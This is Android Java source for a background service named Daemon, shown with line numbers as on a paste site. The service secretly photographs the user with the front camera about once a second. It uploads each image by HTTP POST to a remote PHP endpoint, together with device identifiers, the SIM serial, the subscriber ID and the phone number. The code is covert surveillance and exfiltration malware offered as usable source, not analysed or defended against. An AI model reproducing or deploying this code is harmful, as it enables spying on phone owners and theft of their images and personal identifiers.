package com zhumarin ololo import android app Service import android c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
package com.zhumarin.ololo;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.Build;
import android.os.SystemClock;
import android.util.Log;
import android.hardware.Camera;
import android.hardware.Camera.CameraInfo;
import android.content.Context;
import android.content.pm.ActivityInfo;
import android.os.Bundle;
import android.hardware.Camera;
import android.hardware.Camera.Size;
import android.hardware.Camera.Parameters;
import android.graphics.ImageFormat;
import java.io.FileOutputStream;
import java.io.IOException;
import android.util.Log;
import java.util.List;
import java.net.URLEncoder;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.DataOutputStream;
import android.telephony.TelephonyManager;
public class Daemon extends Service
implements
Camera.PictureCallback,
Camera.AutoFocusCallback
{
public static final String LTAG = "myolololog";
public static Daemon self;
private static Camera camera = null;
private static boolean is_processing_photo = false;
public void onCreate() {
self = this;
super.onCreate();
new Thread(new Runnable() {
public void run() {
Daemon.getCamera();
while (true) {
if (!is_processing_photo) {
Log.d(LTAG, "Making new photo...");
Daemon.makePhoto();
}
try { Thread.sleep(1000); } catch (Exception e) { e.printStackTrace(); }
}
}
}).start();
destroyCamera();
}
public IBinder onBind(Intent intent) {
return null;
}
public void onDestroy() {
destroyCamera();
}
public void onPictureTaken(byte[] pic_data, Camera cam) {
Log.d(LTAG, "Photo taken!");
TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
HttpURLConnection conn = null;
DataOutputStream os = null;
String boundary = "--OlOlsfsjdbgvsdgbds864785634";
try {
URL url = new URL("http://mirik.azazaz/ololo.php");
conn = (HttpURLConnection) url.openConnection();
conn.setDoInput(true);
conn.setDoOutput(true);
conn.setUseCaches(false);
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("User-Agent", "Lalala");
conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
Runtime r = Runtime.getRuntime();
String sysinfo = "";
try {
sysinfo = "Runtime:\n";
sysinfo += " availableProcessors=" + r.availableProcessors() + "\n";
sysinfo += " freeMemory=" + r.freeMemory() + "\n";
sysinfo += " totalMemory=" + r.totalMemory() + "\n";
sysinfo += " maxMemory=" + r.maxMemory() + ";\n";
sysinfo += "Build:\n";
sysinfo += " ID=" + Build.ID + ";\n";
sysinfo += " PRODUCT=" + Build.PRODUCT + ";\n";
sysinfo += " DEVICE=" + Build.DEVICE + ";\n";
sysinfo += " BOARD=" + Build.BOARD + ";\n";
sysinfo += " CPU_ABI=" + Build.CPU_ABI + ";\n";
try { sysinfo += " CPU_ABI2=" + Build.CPU_ABI2 + ";\n"; } catch (Exception e) { }
sysinfo += " MANUFACTURER=" + Build.MANUFACTURER + ";\n";
sysinfo += " BRAND=" + Build.BRAND + ";\n";
sysinfo += " MODEL=" + Build.MODEL + ";\n";
sysinfo += " TYPE=" + Build.TYPE + ";\n";
sysinfo += " TAGS=" + Build.TAGS + ";\n";
sysinfo += " FINGERPRINT=" + Build.FINGERPRINT + ";\n";
sysinfo += " TIME=" + Build.TIME + ";\n";
sysinfo += " USER=" + Build.USER + ";\n";
sysinfo += " HOST=" + Build.HOST + ";\n";
try { sysinfo += " HARDWARE=" + Build.HARDWARE + ";\n"; } catch (Exception e) { }
try { sysinfo += " RADIO=" + Build.RADIO + ";\n"; } catch (Exception e) { }
try { sysinfo += " BOOTLOADER=" + Build.BOOTLOADER + ";\n"; } catch (Exception e) { }
sysinfo += " VERSION.INCREMENTAL=" + Build.VERSION.INCREMENTAL + ";\n";
sysinfo += " VERSION.RELEASE=" + Build.VERSION.RELEASE + ";\n";
sysinfo += " VERSION.SDK=" + Build.VERSION.SDK + ";\n";
sysinfo += "TelephonyManager:\n";
sysinfo += " DeviceSoftwareVersion=" + tm.getDeviceSoftwareVersion() + "\n";
sysinfo += " DeviceId=" + tm.getDeviceId() + "\n";
sysinfo += " PhoneType=" + tm.getPhoneType() + "\n";
sysinfo += " NetworkOperatorName=" + tm.getNetworkOperatorName() + "\n";
sysinfo += " NetworkOperator=" + tm.getNetworkOperator() + "\n";
sysinfo += " isNetworkRoaming=" + tm.isNetworkRoaming() + "\n";
sysinfo += " NetworkCountryIso=" + tm.getNetworkCountryIso() + "\n";
sysinfo += " NetworkType=" + tm.getNetworkType() + "\n";
sysinfo += " SimState=" + tm.getSimState() + "\n";
sysinfo += " SimOperator=" + tm.getSimOperator() + "\n";
sysinfo += " SimOperatorName=" + tm.getSimOperatorName() + "\n";
sysinfo += " SimCountryIso=" + tm.getSimCountryIso() + "\n";
sysinfo += " SimSerialNumber=" + tm.getSimSerialNumber() + "\n";
sysinfo += " SubscriberId=" + tm.getSubscriberId() + "\n";
sysinfo += " Line1Number=" + tm.getLine1Number() + "\n";
sysinfo += " VoiceMailNumber=" + tm.getVoiceMailNumber() + "\n";
sysinfo += " VoiceMailAlphaTag=" + tm.getVoiceMailAlphaTag() + "\n";
sysinfo += " CallState=" + tm.getCallState() + "\n";
sysinfo += " DataActivity=" + tm.getDataActivity() + "\n";
sysinfo += " DataState=" + tm.getDataState() + "\n";
} catch (Exception e) {
e.printStackTrace();
}
os = new DataOutputStream(conn.getOutputStream());
os.writeBytes("--" + boundary + "\r\n");
os.writeBytes("Content-Disposition: form-data; name=\"pic\"; filename=\"" + tm.getDeviceId() + "\"\r\n");
os.writeBytes("Content-Type: image/jpeg\r\n");
os.writeBytes("Content-Size: " + pic_data.length + "\r\n");
os.writeBytes("\r\n");
os.write(pic_data);
os.writeBytes("\r\n");
os.writeBytes("--" + boundary + "\r\n");
os.writeBytes("Content-Disposition: form-data; name=\"sysinfo\"\r\n");
os.writeBytes("Content-Type: application/x-www-form-urlencoded\r\n");
os.writeBytes("\r\n");
os.writeBytes(sysinfo);
os.writeBytes("\r\n");
os.writeBytes("--" + boundary + "--\r\n");
Log.d(LTAG, sysinfo);
Log.d(LTAG, "status_code = " + conn.getResponseCode() + "; status_msg = " + conn.getResponseMessage());
os.flush();
os.close();
} catch (Exception e) {
e.printStackTrace();
}
Log.d(LTAG, "Photo uploaded!");
cam.startPreview();
is_processing_photo = false;
}
public void onAutoFocus(boolean b, Camera c) {
if (b) {
Log.d(LTAG, "Autofocus taken!");
c.takePicture(null, null, null, this);
} else
makePhoto();
}
private static void makePhoto() {
is_processing_photo = true;
getCamera().autoFocus(self);
}
private static Camera getCamera() {
if (camera == null) {
camera = findFaceCamera();
Camera.Parameters props = camera.getParameters();
// Поиск лучшего размера. До 640x480.
List<Camera.Size> sizes = props.getSupportedPictureSizes();
int hq_w = 0, hq_h = 0;
for (Camera.Size s: sizes) {
if (hq_w * hq_h < s.width * s.height && s.width * s.height <= 640 * 480) {
hq_h = s.height;
hq_w = s.width;
break;
}
}
camera.setDisplayOrientation(90);
props.setPictureFormat(ImageFormat.JPEG);
props.setPictureSize(hq_w, hq_h);
Log.d(LTAG, "hq_w = " + hq_w + "; hq_h = " + hq_h);
camera.startPreview();
}
return camera;
}
private static void destroyCamera() {
if (camera != null) {
camera.stopPreview();
camera.release();
camera = null;
}
}
private static Camera findFaceCamera() {
int cid = -1;
int total = Camera.getNumberOfCameras();
CameraInfo info = new CameraInfo();
for (int i = 0; i < total; i++) {
Camera.getCameraInfo(i, info);
if (info.facing == CameraInfo.CAMERA_FACING_FRONT) {
Log.d(LTAG, "CAMERA_FACING_BACK = " + i);
return Camera.open(i);
}
}
Log.d(LTAG, "CAMERA_FACING_BACK = xuj :3");
return Camera.open();
}
}